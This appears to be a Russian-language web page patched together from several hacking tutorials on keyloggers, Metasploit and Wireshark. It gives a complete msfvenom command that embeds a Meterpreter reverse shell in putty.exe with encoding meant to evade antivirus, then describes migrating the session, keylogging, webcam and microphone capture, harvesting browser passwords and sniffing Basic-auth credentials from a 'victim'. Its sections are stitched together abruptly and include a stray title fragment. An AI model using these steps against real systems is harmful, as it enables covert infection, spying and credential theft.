Как сделать кейлоггер kali linux
Как работает драйвер клавиатуры
Согласись, для того что бы написать
грамотный keylogger нужно знать, каким образом
нажатие клавиши на клавиатуре
регистрируется в системе. Смотри схему:
handle_scancode -> put_queue -> tty_queue -> receive_buf ->
буфер tty_ldisc -> tty_read -> /dev/ttyX -> sys_read ->
процесс пользователя
Сначала, когда вы нажимаете клавишу на
клавиатуре, устройство посылает
соответствующий скан код клавиши
клавиатурному драйверу. Единичное нажатие
может произвести последовательность до
шести кодов. Функция handle_scancode() в
клавиатурном драйвере обрабатывает поток
кодов и конвертирует их (при помощи функции
перевода kbd_translate()) в серию событий типа "клавиша
нажата", "клавиша отпущена".
Каждый баттон имеет свой уникальный код от 1
до 127. Нажатие клавиши генерирует этот код, а
отпускание - этот код + 128 (например когда вы
нажимаете 'a' то на гора выдается код 30, а
когда отпускаете - 158).
Дальше код клавиши в соответствии с
картой клавиш конвертится обратно в сам
символ (вообще говоря при этом учитываются
нажатые функциональные клавиши - Shift , AltGr,
Control, Alt, ShiftL, ShiftR, CtrlL и CtrlR, комбинации
активных "модификаторов" - CapsLock
например) и передается по цепочке буферов и
очередей к терминалу.
Драйвер клавиатуры может работать в
четырех режимах:
-
scancode (RAW MODE): приложенице получает
сканкод из потока и дальше обрабатывает
его собственным драйвером (пример тому - Х11).
Эти режимы в конце концов и определяют,
что приложение получит в результате
нажатия клавиши. (Кстати говоря: режим
работы драйвера клавиатуры можно узнать
или изменить с помощью kbd_mode(). Но
помни! Смена режима может вообще оставить
тебя без клавиатуры!)
Kernel based keylogger
В общем говоря, мы можем перехватить поток
кодов двумя способами: написать обработчик
прерывания клавиатуры или вмешаться в
передачу на одном из описанных выше этапов.
Обработчик прерывания
Гляди как реализуется первый вариант. В
архитектуре Intel для контроллера клавиатуры
выделено первое прерывание. Когда оно
возникает наш обработчик должен прочитать
сканкод и статус клавиатуры. События
клавиатуры можно получить на 0х60 порту (Keyboard
data register), а ее состояние - на 0х64 (Keyboard status
register).
scancode = kbd_read_input();
key_status = kbd_read_status();
log_scancode(scancode);
Этот обработчик канает только для
архитектуры Intel, так что в случае переноса
на другую платформу он работать
естественно не будет. Хотя, честно говоря,
где ты у нас видел другие платформы.
Замена функций
Это начальная функция драйвера
клавиатуры (keyboard.c), она обрабатывает скан
коды, получаемые от клавиатуры:
Мы можем заменить настоящий handle_scancode()
собственной процедурой, которая помимо
всего прочего будет записывать коды клавиш.
После использования msf под kali linux для получения оболочки целевой системы мы можем собрать больше информации о целевой системе с помощью meterpreter, включая запись ввода с клавиатуры целевой системы. Просматривая ввод с клавиатуры цели, есть шанс получить системный пароль цели, пароль социальной учетной записи и т. Д. Нам очень помогает дальнейшее проникновение.
О том, как получить целевую оболочку, вы можете прочитать в моей последней статье
Используйте msf для проникновения в Windows xp
начать
Целевая машина: Windows XP sp3 English
Я не буду вдаваться в подробности получения оболочки, но начну с получения сеанса Meterpreter.
Сначала выполните команду ps, используйте команду ps для просмотра всех процессов, запущенных на целевой машине.
Здесь мы хотим перенести текущий сеанс в процесс проводника, цель состоит в том, чтобы избежать прерывания сеанса из-за закрытия других процессов и перенести сеанс в проводник, который является файловый ресурс Windows В диспетчере сессия не закроется случайно.
Проверьте здесь процесс проводника и запишите его PID, вы увидите, что это 1996 год.
Затем перенесите сеанс, выполните команду
Затем запустите модуль кейлоггера
После инициализации он начал записывать ввод с клавиатуры
В этот раз мы подошли к целевой машине xp и попытались ввести некоторые символы, чтобы посмотреть, может ли это быть захвачено msf
После ввода xp вернитесь в msf, Ctrl + c, чтобы закрыть инструмент записи
По окончании работы инструмента msf создает текстовый файл в этом месте, в котором записывается ввод с клавиатуры целевой машины.
Давайте откроем этот текстовый файл
Вы можете видеть, что в записанном тексте есть <CR> , В чем смысл возврата каретки.
Здесь мы получаем учетную запись администратора и пароль противоположной системы. Конечно, при реальном проникновении это будет не так просто. Иногда в нем записаны тысячи знаков бесполезной информации. Нужно набраться терпения, чтобы узнать по этим символам Полезная информация, вот только демонстрация.
Привет. Начну с того, что применять данную информацию против кого-либо, с кем вы не договорились заранее и не получили разрешение(желательно в письменном виде с подписью) - незаконно. Все действия лежат только на ваших плечах и совести. Вся информация предоставлена в ознакомительных целях. Иначе за вами выедут.
Начнём. Возможно, это Часть 1.
Если вы заглянули сюда - значит вы чуточку знаете, что такое Kali Linux и metasploit framework. Если нет, то:
Kali Linux — GNU/Linux-LiveCD, возникший как результат слияния WHAX и Auditor Security Collection. Проект создали Мати Ахарони (Mati Aharoni) и Макс Мозер (Max Moser). Предназначен прежде всего для проведения тестов на безопасность.
Metasploit Framework — удобная платформа для создания и отладки эксплойтов. Кроме того, проект включает в себя базу опкодов, архив шеллкодов и информацию по исследованиям компьютерной безопасности.
Хакер: Kali Linux 2017.1
Жертва: Windows 10 1703 x64
Для начала нам нужно, чтобы наш заражённый файл был запущен на компе/ноутбуке жертвы. Как вы это будете делать - без понятия. Я буду применять свой комп, а Кали у меня на ноуте.
Процесс создания заражённого файла:
1. Внезапно нам нужен файл. В моём примере будет putty, хотя можно юзануть и exe какого-нибудь хрома, например, и потом заражённый файл вернуть на место взамен оригинального. Вы ничего не видели и не знаете
2. Переходим в папку с файлом, либо будем писать полный путь до файла, что не круто.
3. Пишем msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=192.168.0.101 -e x86/shikata_ga_nai -i 5 -b "\x00" -f exe -o putty3.exe
Поясню, что тут есть:
msfvenom - собсно, создатель троянов/инжектор троянов в .exe
-a x86 - архитектура x86. Для x86 приложений
-x putty.exe - файл, который мы заражаем
-k - Без понятия, вот как в оригинале: Preserve the template behavior and inject the payload as a new thread. Что-то типа "встроить нагрузку"
-p windows/meterpreter/reverse_tcp - "полезная нагрузка"
lhost=192.168.0.101 - ip атакующего
-e x86/shikata_ga_nai - шифрование, чтоб антивирусы не палили
-i 5 - количество итераций шифрования. У меня 5.
-b "\x00" - что-то связанное с "плохими символами(bad-chars)"
-f exe - формат файла
У меня тут 10 итераций(-i 10).
Данный файл любым методом переносится на комп жертвы и запускается или удаляется антивирусом сразу после переноса
35/64, но для тестов сгодится. Если шифровать разными шифрованиями тыщу раз, то будет меньше палева.
Запускаем metasploit framework и ждём.
Нас встретит "msf >"
Команды выглядят так:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > show options (показывает, что можно настроить)
Пишем "set LHOST 192.168.0.101", в моём случае. У вас, ясное дело, ваш ip Kali Linux.
LHOST и LPORT должны быть теми, которые мы указали в msfvenom.
Подразумевается, что жертва уже запустила файл и у нас есть доступ. Иначе просто не откроется сессия.
Заражённая программа внешне ничем не отличается от оригинала:
Обычная программа. Только закрывается через несколько секунд.
На ноуте в это время пишем exploit и видим это:
Если вы напишете сначала на кириллице, а потом сотрёте и напишете как надо - всё равно символ останется и выдаст ошибку, что у меня и произошло. Странный баг, но забавный. Иногда бесячий.
"meterpreter > " означает, что мы в системе и можем делать что угодно, но перед этим надо перекинуть "заражённый процесс в другой процесс". Чтобы путти мог закрыться и не закрыл вместе с собой сессию.
Пишем ps и видим список процессов. Надо выбрать тот, который закрывать не будут. Например, проводник, который именуется explorer.exe
PID у него 3044. 2800 это PPID и он нам не нужен.
пишем "migrate 3044" и готово.
5412 - прошлый PID. Если закрыть putty - закроется и соединение. После миграции в explorer.exe Путти может спокойно закрыться и соединение не пропадёт.
Мы в системе. Начинается самое интересное. Сверху текст, снизу картинка. Как и везде.
Возможности meterpreter.
Пойдём от простого к интересному. Некоторую дичь затрагивать не буду. Она интересна, вероятно, каким-то редким людям и в некоторых случаях.
1. help. Выдаст возможные команды, но далеко не все. Даже показывать не буду, там крайне мало инфы.
2. sysinfo. и так понятно, что даёт
3. getsystem - должно дать права админа, но на Win10 не работает
4. getuid - узнать имя компа
5. screenshot - делает снимок экрана жертвы в нативном разрешении монитора жертвы. Куда сохраняет - написано. Скриншот в скриншоте.
6. Команды для вебкамеры:
webcam_list - список вебкамер у жертвы
webcam_snap - делает снимок на камеру
webcam_stream - вебка в прямом эфире
Не смогу показать, нет вебкамеры и вряд-ли теперь будет.
7. record_mic - записывает с микрофона, но у меня сразу же останавливает. Наверное, особенности Win10 и того, что не получилось ввести getsystem.
keyscan_start - включает кейлоггер
keyscan_dump - показывает, что напечатали
keyscan_stop - выключает кейлоггер
Ловит только английские буквы
ololoo, test keylogger
9. uictl [enable/disable] Как сделать кейлоггер kali linux - должно включать/выключать клаву/мышь/и то и другое, но на Win10 не сработало. На Win7 работало.
Неинтересное закончилось, пора переходить к интересному:
Команды вида "run *что-то*". Они уже более интересные. Тут уже нет порядка крутости, тут всё годно. Может быть, когда-нибудь, я проверю все команды и сделаю пост на пикабу. Прям такой "тру обзор", но это не точно.
Чтобы посмотреть все доступные команды - пишем "run " и жмём Таб два раза. Нас спросят "хотите ли вы вывести всё на экран?" а там 200+ позиций. Жмём "y", потом пробел несколько раз, отмотав до конца и видим примерно это:
Всё я показывать не буду, там очень много. Пост не резиновый.
Ах да, иногда может писать, что скрипт не поддерживается в meterpreter. Это дубликаты другого скрипта, который там напишут.
1. run post/windows/manage/enable_rdp - должно включать rdp, но "insufficient privileges", потому что getsystem не работает. Вероятно, в других Виндах заработает.
2. run post/windows/gather/enum_chrome и /enum_firefox - уносит данные из этих браузеров. В т.ч. и пароли. На этапе "Preferences" задумывается, но не зависает. Сохраняет в /root/.msf4/loot и удаляет при закрытии MSF.
Открыть можно через SQLite Database Browser, который есть в том же Кали, хоть это и текстовый документ. Надо только в программе выбрать "All files".
Файлы Preference и Decrypted открываются в текстовом редакторе.
Про дубликаты: там есть "run enum_chrome", но MSF пожалуется, что он недоступен в этой версии и скажет "юзайте run post/windows/gather/enum_chrome". Если что-то не работает - читайте, что предлагает MSF.
Что же можно там узнать?
2.2. Историю скачивания файлов
2.3. Историю ссылок скачивания файлов
2.4. Гуглопоиск, видимо
2.5. Историю посещения сайтов
2.7. Логины/пароли/сайты, куда подходят логины и пароли
2.9. Телефоны в автозаполнении(если повезёт)
2.10. Адреса в автозаполнении(если повезёт)
На этом пока всё, надо сделать базу к следующему посту и проверить ещё больше вещей в том списке. Вторая часть будет завтра, скорее всего. Но это не точно.
Я надеюсь, Вам понравилось взламывать. Давайте рассмотрим другие инструменты Kali Linux. Мы уже рассмотрели некоторый перечень инструментов, такие как «nmap», «netdiscover», «nessus» и т.д.
Также я упоминал «wpscan», «drupalscan». Мы рассмотрели анализ баз данных, и подобрали имя пользователя и пароль к ней. В рамках данного курса мы не будем рассматривать раздел беспроводных атак, а также реверс-инжиниринг. Это темы для отдельных курсов. Продолжим рассматривать инструменты Kali, и перейдем в раздел сниффинг и спуфинг. В частности нас будет интересовать инструмент для сниффинга, который называется «wireshark»:
Этот инструмент работает на нашем компьютере, анализируя сетевой трафик и перехватывая все пакеты. Также можно указать, какие пакеты перехватывать. В этом уроке мы рассмотрим wireshark более детально, и я покажу Вам, как искать имена пользователей и пароли, которые передаются в Вашей сети.
Для начала выбираем меню «Capture», далее «Options»:
Здесь нужно выбрать сетевой интерфейс, с которого Вы будете перехватывать трафик. Давайте я объясню подробнее. У большинства современных компьютеров или ноутбуков есть несколько сетевых интерфейсов. Как правило, это проводной и беспроводной интерфейс.
Например, если Вы используете стационарный компьютер в университете, то на не используется проводной интерфейс, т.е. к нему подключен сетевой кабель, который обеспечивает доступ к сети.
Если Вы работаете с ноутбука дома, то скорее всего у Вас беспроводной интерфейс.
Обратите внимание, что я использую Kali в качестве виртуальной машины. Виртуальная машина думает, что это проводное соединение, а не беспроводное, т.е. eth0. Мы проговаривали это в лекции по настройке сети. Имейте ввиду, что если бы использовалось беспроводное соединение, то сетевой интерфейс отображался как адаптер «wlan0», но так как у меня проводное соединение, то указан интерфейс «eth0».
Очень важно понимать разницу, так как если Вы используете виртуальную машину и пытаетесь найти беспроводной интерфейс, то у Вас ничего не получиться. Однако, если Вы установили Kali напрямую, то Вы используете беспроводной интерфейс, то ищите wlan. Надеюсь с этим нет вопросов.
Нажимаем кнопку «start», чтобы начать мониторить или сниффить сеть:
Итак, я вернулся на сервер TomCat, и авторизировался на нем. Таким образом, появляется сценарий, при котором пользователь admin, т.е. я, авторизируется в панеле управления, а хакер сидит в wireshark, и надеется получить учетные данные TomCat. После авторизации у нас будут появляться пакеты, и так как я использую закрытую сеть, то используется немного пакетов. Однако, если использовать другие инструменты, открытую сеть, то в Wireshark будет использовано больше пакетов.
В этом потоке очень сложно найти нужную информацию, поэтому используются фильтры. По сути фильтр отображает то, что нам нужно, и он игнорирует все остальные пакеты, и отображает только нужные. Для редактирования используем кнопку «Expression»:
WireShark не понимает то, что мне нужно. Если остановить курсор мыши на слове «contains», мы получим вывод более полного перечня информации.
Мы можем поиграться с фильтром, выводя различные пакеты:
И если кликать по выведенным пакетам, то отображается их содержимое.
Например, я ищу TomCat:
В этом видео нас интересуют учетные данные (имя пользователя и пароль), который админ использовал при авторизации в панели управления. Они нам нужны для того, чтобы взломать систему.
Пользователь, исходя из этих данных успешно авторизировался. Просматривая содержимое этого пакета мы можем увидеть информацию «Authorization: Basic»:
Итак, почему нам нужна именно эта строка? На самом деле – это есть имя пользователя и пароль, который использовал admin. Данная строка не зашифрована, а обфусцированна, и в данном случае она закодирована с помощью base64. Это тип кодирования, который можно определить по символу равно «=» в конце. На самом деле base64 – это один из самых простых методов кодировки, и его очень легко раскодировать.
Копируем данную запись, нажав правую клавишу мыши и далее «Copy» «Value».
В интернете ищем декодер base64:
Как видим, внизу страницы находятся имя пользователя и пароль, которые были закодированы.
Мы выбрали WireShark, потому что он самый популярный, и настроили его для перехвата трафика из сети, а затем использовали фильтры просмотра, чтобы получить закодированные учетные данные и раскодировали их.
Нам совершенно не важно какой длины будет пароль, так как мы можем перехватить любую его длину.
После того, как мы перехватили логин и пароль, нам нужно авторизироваться в панели управления, чтобы проверить наличие доступа, а затем вернуться в Metasploit, настроить эксплойт, и получить доступ к системе.
Читайте также: